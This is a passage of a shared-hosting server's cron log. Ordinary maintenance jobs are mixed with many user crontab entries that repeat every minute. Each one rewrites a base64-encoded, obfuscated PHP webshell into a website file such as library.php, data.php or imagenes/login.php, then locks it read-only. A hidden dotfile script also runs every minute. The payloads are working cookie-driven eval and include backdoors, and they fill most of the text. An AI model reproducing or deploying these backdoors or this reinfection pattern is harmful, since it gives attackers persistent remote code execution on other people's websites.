"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:30:01 medusa CROND[14680]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14682]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:30:01 medusa CROND[14683]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14686]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 13:30:01 medusa CROND[14684]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:30:01 medusa CROND[14690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14693]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14697]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 13:30:01 medusa CROND[14698]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:30:01 medusa CROND[14694]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:30:01 medusa CROND[14700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 13:30:01 medusa CROND[14695]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:30:01 medusa CROND[14703]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:30:01 medusa CROND[14704]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:30:01 medusa CROND[14705]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:30:01 medusa CROND[14701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:30:01 medusa CROND[14713]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:30:01 medusa CROND[14714]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14721]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14720]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:30:01 medusa CROND[14724]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:30:01 medusa CROND[14729]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:30:01 medusa CROND[14730]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:30:01 medusa CROND[14731]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 13:31:01 medusa CROND[7522]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:31:01 medusa CROND[7567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:31:01 medusa CROND[7568]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:31:01 medusa CROND[7569]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:31:01 medusa CROND[7570]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:31:01 medusa CROND[7571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:31:01 medusa CROND[7572]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:31:01 medusa CROND[7573]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:31:01 medusa CROND[7576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:31:01 medusa CROND[7580]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:31:01 medusa CROND[7589]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:31:01 medusa CROND[7590]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:31:01 medusa CROND[7591]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:32:01 medusa CROND[32477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:32:01 medusa CROND[32520]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:32:01 medusa CROND[32631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:32:01 medusa CROND[32633]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:32:01 medusa CROND[32634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:32:01 medusa CROND[32636]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcH